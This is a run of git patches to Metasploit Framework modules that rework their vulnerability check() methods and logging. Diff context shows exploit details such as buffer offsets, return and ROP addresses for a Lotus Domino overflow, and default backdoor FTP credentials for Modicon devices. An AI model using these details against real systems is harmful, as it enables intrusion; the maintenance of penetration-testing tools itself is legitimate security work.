-134,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary begin res_json = JSON.parse(res.body) rescue JSON::ParserError - print_error("Unable to parse JSON response") + print_error("#{checked_host}:#{rport} - Unable to parse JSON response") end # store configuration files as loot store_config(url, res_json, checked_host) if datastore['StoreConfigs'] @@ -181,7 +182,7 @@ class Metasploit3 < Msf::Auxiliary def report if @version_info['version']['sametimeVersion'] print_line - print_good("#{@version_info['version']['sametimeVersion']} Detected (#{peer})") + print_good("#{peer} - #{@version_info['version']['sametimeVersion']} Detected") else print_line print_status("#{peer} - IBM Lotus Sametime information") @@ -297,10 +298,8 @@ class Metasploit3 < Msf::Auxiliary if proxy_ssl? and ssl # keep using SSL proxy = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{proxy}") else proxy = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host - vprint_status("Testing discovered Sametime proxy address for further data #{proxy}") end print_good("#{peer} - Sametime Proxy address discovered #{proxy}") From 0a8aa07131208d5b0eb4043a121de6a8e4cb2117 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 19 Jan 2014 16:47:15 -0600 Subject: [PATCH 033/246] Fix check method This isn't a check, so shouldn't be using the check method --- modules/auxiliary/scanner/vmware/vmware_http_login.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 95776f3900..6bcdfb08ee 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - return unless check + return unless is_vmware? each_user_pass { |user, pass| result = vim_do_login(user, pass) case result @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary # Mostly taken from the Apache Tomcat service validator - def check + def is_vmware? soap_data = %Q| From 4fdd2c19a10126241e502fcdaf48c07e83eb0645 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 19 Jan 2014 16:54:27 -0600 Subject: [PATCH 034/246] Update vbulletin check --- modules/auxiliary/gather/vbulletin_vote_sqli.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index 859283b1f8..346b202807 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -128,21 +128,21 @@ class Metasploit3 < Msf::Auxiliary end def check - node_id = get_node - - unless node_id.nil? - return Msf::Exploit::CheckCode::Vulnerable - end - res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "index.php") }) if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/ - return Msf::Exploit::CheckCode::Detected + if get_node + # Multiple factors determine this LOOKS vulnerable + return Msf::Exploit::CheckCode::Appears + else + # Not enough information about the vuln state, but at least we know this is vbulletin + return Msf::Exploit::CheckCode::Detected + end end - return Msf::Exploit::CheckCode::Unknown + Msf::Exploit::CheckCode::Safe end def run From 7080bb336c68c2672bfad77a8b22ee022d61040e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 19 Jan 2014 17:05:03 -0600 Subject: [PATCH 035/246] Update ColdFusion check --- .../auxiliary/gather/coldfusion_pwd_props.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index bc37d89b7b..f08e3f9ed9 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptBool.new('CHECK', [false, 'Only check for vulnerability', false]), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) ], self.class) end @@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary end def check + if check_cf + return Msf::Exploit::CheckCode::Vulnerable + end + + Msf::Exploit::CheckCode::Safe + end + + def check_cf vuln = false url = '/CFIDE/adminapi/customtags/l10n.cfm' res = send_request_cgi({ @@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary return end - if(not check) + if(not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end - if (datastore['CHECK'] ) - print_good("#{peer} is vulnerable and most likely exploitable") if check - return - end - - res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), From a239e14084329062a3e6379ed2f4bb7fc479decb Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 19 Jan 2014 17:06:35 -0600 Subject: [PATCH 036/246] Fix nodejs_popelining check --- modules/auxiliary/dos/http/nodejs_pipelining.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 02587acb33..44b6f5c0c1 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def check # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted - status = Exploit::CheckCode::Unknown + status = Exploit::CheckCode::Safe connect sock.put(http_request("GEM")) begin @@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests + vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)") + return Msf::Exploit::CheckCode::Unknown ensure disconnect end From 5025736d87b5fdd1b7d72d20709037bc8bfe8d7d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sun, 19 Jan 2014 17:20:20 -0600 Subject: [PATCH 037/246] Fix check for modicon_password_recovery --- .../admin/scada/modicon_password_recovery.rb | 26 +++++++++++-------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index f8cdaadd8f..261d2cf746 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']), - OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']), + OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']) ], self.class) register_advanced_options( @@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary # device, then we're going to end up storing HTTP credentials that are not # correct. If there's a way to fingerprint the device, it should be done here. def check - return true unless datastore['RUN_CHECK'] is_modicon = false vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint" connect rescue nil @@ -68,22 +67,27 @@ class Metasploit3 < Msf::Auxiliary is_modicon = check_banner() disconnect else - print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" - return false + vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" + return Exploit::CheckCode::Unknown end + if is_modicon - print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + return Exploit::CheckCode::Detected else - print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" + vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" + Exploit::CheckCode::Unknown end - return is_modicon + + return Exploit::CheckCode::Safe end def run - if check() - if setup_ftp_connection() - grab() - end + if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected + print_status("Service detected.") + grab() if setup_ftp_connection() + else + grab() if setup_ftp_connection() end end From e5dc6a99112db854813a217dacbed8d05cc96dc2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 20 Jan 2014 14:26:10 -0600 Subject: [PATCH 038/246] Update exploit checks Progress group 1: Making sure these checks comply with the new guidelines. Please read: "How to write a check() method" found in the wiki. --- .../windows/http/xitami_if_mod_since.rb | 6 ++++-- .../windows/iis/ms03_007_ntdll_webdav.rb | 2 ++ modules/exploits/windows/imap/eudora_list.rb | 2 +- .../windows/imap/mailenable_w3c_select.rb | 2 +- modules/exploits/windows/imap/mdaemon_fetch.rb | 4 ++-- modules/exploits/windows/imap/mercury_login.rb | 2 +- .../exploits/windows/imap/mercury_rename.rb | 2 +- .../windows/isapi/ms00_094_pbserver.rb | 2 +- .../windows/isapi/rsa_webagent_redirect.rb | 2 +- modules/exploits/windows/isapi/w3who_query.rb | 2 +- .../windows/license/calicserv_getconfig.rb | 2 +- .../windows/local/always_install_elevated.rb | 12 ++++++------ .../exploits/windows/local/ikeext_service.rb | 6 +++--- modules/exploits/windows/local/nvidia_nvsvc.rb | 7 ++++--- .../lotus/domino_icalendar_organizer.rb | 18 +++++++++--------- .../windows/misc/bakbone_netvault_heap.rb | 2 +- modules/exploits/windows/misc/fb_cnct_group.rb | 5 +++-- .../windows/misc/hp_dataprotector_crs.rb | 7 ++++--- modules/exploits/windows/misc/hp_omniinet_1.rb | 2 +- modules/exploits/windows/misc/hp_omniinet_2.rb | 2 +- modules/exploits/windows/misc/hp_omniinet_3.rb | 2 +- .../misc/hp_operations_agent_coda_34.rb | 5 ++--- .../misc/hp_operations_agent_coda_8c.rb | 3 ++- modules/exploits/windows/misc/lianja_db_net.rb | 3 ++- modules/exploits/windows/misc/poisonivy_bof.rb | 7 ++++--- .../windows/mysql/scrutinizer_upload_exec.rb | 2 +- .../exploits/windows/novell/netiq_pum_eval.rb | 2 +- .../oracle/client_system_analyzer_upload.rb | 2 +- .../exploits/windows/oracle/tns_arguments.rb | 15 +++++---------- .../windows/oracle/tns_auth_sesskey.rb | 3 ++- .../windows/postgres/postgres_payload.rb | 2 +- .../windows/proxy/ccproxy_telnet_ping.rb | 2 +- .../windows/proxy/qbik_wingate_wwwproxy.rb | 2 +- .../windows/scada/indusoft_webstudio_exec.rb | 2 +- .../windows/scada/procyon_core_server.rb | 3 ++- .../exploits/windows/smb/ms08_067_netapi.rb | 13 +++++++------ .../windows/smtp/mailcarrier_smtp_ehlo.rb | 2 +- .../exploits/windows/smtp/ypops_overflow1.rb | 4 ++-- .../windows/ssh/freesshd_authbypass.rb | 4 ++-- .../exploits/windows/ssh/sysax_ssh_username.rb | 5 ++++- .../windows/telnet/gamsoft_telsrv_username.rb | 5 +++-- 41 files changed, 94 insertions(+), 83 deletions(-) diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index 0af979dddc..f10b39da33 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -65,9 +65,11 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner =~ /Xitami/) - return Exploit::CheckCode::Appears + vprint_status("Banner: #{banner}") + return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Safe + + return Exploit::CheckCode::Safe end def exploit diff --git a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb index b2c1f59491..cab8756d24 100644 --- a/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb +++ b/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb @@ -85,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote if (response and response.body =~ /Server Error\(exception/) + vprint_status("We've hit a server error (exception)") return Exploit::CheckCode::Vulnerable end @@ -92,6 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_raw({'uri' => '/'}, 5) rescue + vprint_status("The server stopped accepting requests") return Exploit::CheckCode::Vulnerable end diff --git a/modules/exploits/windows/imap/eudora_list.rb b/modules/exploits/windows/imap/eudora_list.rb index 6a2017102d..c8977cd552 100644 --- a/modules/exploits/windows/imap/eudora_list.rb +++ b/modules/exploits/windows/imap/eudora_list.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote targ = auto_target disconnect - return Exploit::CheckCode::Vulnerable if (targ) + return Exploit::CheckCode::Appears if (targ) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/imap/mailenable_w3c_select.rb b/modules/exploits/windows/imap/mailenable_w3c_select.rb index 8875e6465c..e14ae84a4a 100644 --- a/modules/exploits/windows/imap/mailenable_w3c_select.rb +++ b/modules/exploits/windows/imap/mailenable_w3c_select.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/imap/mdaemon_fetch.rb b/modules/exploits/windows/imap/mdaemon_fetch.rb index a26f49163a..4362957696 100644 --- a/modules/exploits/windows/imap/mdaemon_fetch.rb +++ b/modules/exploits/windows/imap/mdaemon_fetch.rb @@ -51,8 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote connect disconnect - if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/) - return Exploit::CheckCode::Vulnerable + if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/) + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/imap/mercury_login.rb b/modules/exploits/windows/imap/mercury_login.rb index c3618c9423..e4d813882a 100644 --- a/modules/exploits/windows/imap/mercury_login.rb +++ b/modules/exploits/windows/imap/mercury_login.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (resp =~ /Mercury\/32 v4\.01[a-b]/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/imap/mercury_rename.rb b/modules/exploits/windows/imap/mercury_rename.rb index f21948919e..6080430d34 100644 --- a/modules/exploits/windows/imap/mercury_rename.rb +++ b/modules/exploits/windows/imap/mercury_rename.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if (resp =~ /Mercury\/32 v4\.01a/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/isapi/ms00_094_pbserver.rb b/modules/exploits/windows/isapi/ms00_094_pbserver.rb index 8d590ca422..aa87ef8f5d 100644 --- a/modules/exploits/windows/isapi/ms00_094_pbserver.rb +++ b/modules/exploits/windows/isapi/ms00_094_pbserver.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 5) if (res and res.code == 400) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb index e7d86c8891..4b8d9e8e86 100644 --- a/modules/exploits/windows/isapi/rsa_webagent_redirect.rb +++ b/modules/exploits/windows/isapi/rsa_webagent_redirect.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote }, -1) if (r and r.body and r.body =~ /RSA Web Access Authentication/) - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/isapi/w3who_query.rb b/modules/exploits/windows/isapi/w3who_query.rb index 56b7870962..cf05fe3447 100644 --- a/modules/exploits/windows/isapi/w3who_query.rb +++ b/modules/exploits/windows/isapi/w3who_query.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote def check if auto_target - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/license/calicserv_getconfig.rb b/modules/exploits/windows/license/calicserv_getconfig.rb index 9cc700febf..4d23542e5d 100644 --- a/modules/exploits/windows/license/calicserv_getconfig.rb +++ b/modules/exploits/windows/license/calicserv_getconfig.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote res = sock.get_once || '' disconnect if (res =~ /OS\<([^\>]+)/) - print_status("CA License Server reports OS: #{$1}") + vprint_status("CA License Server reports OS: #{$1}") return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/always_install_elevated.rb b/modules/exploits/windows/local/always_install_elevated.rb index ae85df5729..bc4f0516a2 100644 --- a/modules/exploits/windows/local/always_install_elevated.rb +++ b/modules/exploits/windows/local/always_install_elevated.rb @@ -70,24 +70,24 @@ class Metasploit3 < Msf::Exploit::Local local_machine_value = registry_getvaldata(hklm,install_elevated) if local_machine_value.nil? - print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.") + vprint_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.") return Msf::Exploit::CheckCode::Safe elsif local_machine_value == 0 - print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.") + vprint_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.") return Msf::Exploit::CheckCode::Safe else - print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.") + vprint_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.") current_user_value = registry_getvaldata(hkcu,install_elevated) end if current_user_value.nil? - print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.") + vprint_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.") return Msf::Exploit::CheckCode::Safe elsif current_user_value == 0 - print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.") + vprint_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.") return Msf::Exploit::CheckCode::Safe else - print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.") + vprint_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.") return Msf::Exploit::CheckCode::Vulnerable end end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 79ef29f143..d9a2efef2d 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -88,13 +88,13 @@ class Metasploit3 < Msf::Exploit::Local case srv_info['Startup'] when 'Disabled' - print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' - print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' - print_good("Service is set to Automatically start...") + vprint_good("Service is set to Automatically start...") end if check_search_path diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index 33223ce462..5e4c70798b 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -82,12 +82,13 @@ class Metasploit3 < Msf::Exploit::Local begin if is_running? - print_good("Service is running") + vprint_good("Service is running") else - print_error("Service is not running!") + vprint_error("Service is not running!") end rescue RuntimeError => e - print_error("Unable to retrieve service status") + vprint_error("Unable to retrieve service status") + return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /WOW64/i diff --git a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb index c84035dd39..b29329933f 100644 --- a/modules/exploits/windows/lotus/domino_icalendar_organizer.rb +++ b/modules/exploits/windows/lotus/domino_icalendar_organizer.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'A. Plaskett', #Initial discovery, poc - 'sinn3r', #Metasploit + 'sinn3r' #Metasploit ], 'References' => [ @@ -34,14 +34,14 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '68040' ], [ 'ZDI', '10-177' ], [ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ], - [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ] ], 'Payload' => { 'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"), 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, - 'StackAdjustment' => -3500, + 'StackAdjustment' => -3500 }, 'DefaultOptions' => { @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Offset' => 2374, #Offset to EIP 'Ret' => 0x6030582B, #JMP ECX - 'MaxBuffer' => 9010, #Total buffer size + 'MaxBuffer' => 9010 #Total buffer size } ], [ @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Offset' => 2374, #Offset to EIP 'Ret' => 0x6030582B, #JMP ECX (Domino\\nnotes.dll) - 'MaxBuffer' => 9010, #Total buffer size + 'MaxBuffer' => 9010 #Total buffer size } ], [ @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote 'EAX' => 0x7C35287F, #Initial CALL VirtualProtect addr to align (MSVCR71.dll) 'EaxOffset' => 2342, #Offset to EAX 'RopOffset' => 24, #Offset to ROP gadgets - 'MaxBuffer' => 9010, #Total buffer size + 'MaxBuffer' => 9010 #Total buffer size } ], ], @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(25), OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']), - OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', '']), + OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', '']) ], self.class) end @@ -94,8 +94,8 @@ class Metasploit3 < Msf::Exploit::Remote banner = (sock.get_once(-1,5) || '').chomp disconnect - if banner =~ /Lotus Domino Release 8.5/ - return Exploit::CheckCode::Vulnerable + if banner =~ /Lotus Domino Release 8\.5/ + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index 4fda35027d..b58b65aea6 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote if ver > 0 print_status("Detected NetVault Build #{ver}") - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Appears end end diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 136c50415f..3c8a3deed1 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -66,7 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote begin connect rescue - return Exploit::CheckCode::Safe + vprint_error("Unable to get a connection") + return Exploit::CheckCode::Unknown end filename = "C:\\#{rand_text_alpha(12)}.fdb" @@ -99,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Safe end def stack_pivot_rop_chain diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 6e5429bf6e..82ca53d075 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -139,16 +139,17 @@ class Metasploit3 < Msf::Exploit::Remote fingerprint = get_fingerprint if fingerprint.nil? + vprint_error("Unable to fingerprint") return Exploit::CheckCode::Unknown end port = get_crs_port if port.nil? - print_status("HP Data Protector version #{fingerprint}") - print_error("But CRS port not found") + vprint_status("HP Data Protector version #{fingerprint}") + vprint_error("But CRS port not found") else - print_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") + vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}") end if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index a4e7ce8675..172c557a1b 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote major = version[1].to_i minor = version[2].to_i if ((major < 6) or (major == 6 and minor < 11)) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end if ((major > 6) or (major == 6 and minor >= 11)) diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index f4e4a98f9a..cbd30cab80 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote major = version[1].to_i minor = version[2].to_i if ((major < 6) or (major == 6 and minor < 11)) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end if ((major > 6) or (major == 6 and minor >= 11)) diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index d4d43993a6..08fe7d3201 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote major = version[1].to_i minor = version[2].to_i if ((major < 6) or (major == 6 and minor < 11)) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end if ((major > 6) or (major == 6 and minor >= 11)) diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 6c932d6167..8f560dc3ed 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -82,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = ping if not res + vprint_error("No response from target") return Exploit::CheckCode::Unknown end @@ -92,9 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote if res =~ /server:.*coda 11.(\d+)/ minor = $1.to_i if minor < 2 - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Appears end end diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 849b526a0e..636f877c8a 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -82,6 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = ping if not res + vprint_error("No response from target") return Exploit::CheckCode::Unknown end @@ -92,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote if res =~ /server:.*coda 11.(\d+)/ minor = $1.to_i if minor < 2 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index d8956c5a00..cd13ef95d9 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -54,7 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote begin connect rescue - return Exploit::CheckCode::Safe + vprint_error("Unable to connect") + return Exploit::CheckCode::Unknown end sock.put("db_net") if sock.recv(4) =~ /\d{1,5}/ diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 048e1bc805..47d2eb9089 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -113,11 +113,12 @@ class Metasploit3 < Msf::Exploit::Remote if datalen == lensig if response[0, 16] == sig - print_status("Password appears to be \"admin\"") + vprint_status("Password appears to be \"admin\"") + return Exploit::CheckCode::Appears else - print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.") + vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.") + return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 121bb1b81a..0d03a237e8 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote datastore['RPORT'] = tmp_rport if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
